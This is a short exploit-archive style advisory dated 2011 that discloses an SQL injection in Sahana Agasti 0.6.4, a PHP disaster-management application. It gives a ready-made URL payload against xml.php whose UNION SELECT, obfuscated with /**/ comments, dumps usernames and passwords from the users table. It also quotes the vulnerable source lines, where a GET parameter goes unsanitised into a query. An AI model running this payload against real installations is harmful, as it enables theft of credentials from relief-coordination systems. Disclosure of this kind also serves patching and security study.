:::::::-.   ...    ::::::.    :::.
  ;;,   `';, ;;     ;;;`;;;;,  `;;;
  `[[     [[[['     [[[  [[[[[. '[[
   $$,    $$$$      $$$  $$$ "Y$c$$
   888_,o8P'88    .d888  888    Y88
   MMMMP"`   "YmmMMMM""  MMM     YM
 
  [ Discovered by dun \ posdub[at]gmail.com ]
 
################################################################
#  [ Sahana Agasti <= 0.6.4 ]  SQL Injection Vulnerability     #
################################################################
#
# Script: "Agasti is the PHP based project of the Sahana Software Foundation.
#          Based a long-term preparedness for disaster management..."
#
# Script site: http://www.sahanafoundation.org/
# Download: https://launchpad.net/sahana-agasti/
#
# [SQL] Vuln:
# http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users
#   
#   
# Bug: ./sahana-0.6.4/www/xml.php (lines: 17-21, 200-223)
#
# ...
# $act=$_GET{"act"};                                                          //
#
# if($act=='add_loc')                                                         // (1)
# {
#         _shn_get_level_location();                                          //
# ...
#
# function _shn_get_level_location(){
#         require_once('../3rd/adodb/adodb.inc.php');
#         require_once('../conf/sysconf.inc.php');
#         //Make the connection to $global['db']
#         $db = NewADOConnection($conf['db_engine']);
#        $db ->Connect($conf['db_host'].($conf['db_port']?':'.$conf['db_port']:''),$conf['db_user'],$conf['db_pass'],$conf['db_name']);
#
#
#         $level=$_GET{"sel"};                                                // (2)
#         if($level==1){
#                 echo "none,";
#         }
#         $q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}";          // (3) SQL
#         $res_child=$db->Execute($q);
#         if($res_child->EOF)
#         return;
#         while(!$res_child->EOF){
#                 $res=$res.",".$res_child->fields[1];
#                 $res=$res.",".$res_child->fields[0];
#                $res_child->MoveNext();
#        }
#         echo $res;                                                          // (4)
# }
# ... 
#
#
###############################################
 
 
[ dun / 2011-01-01 ]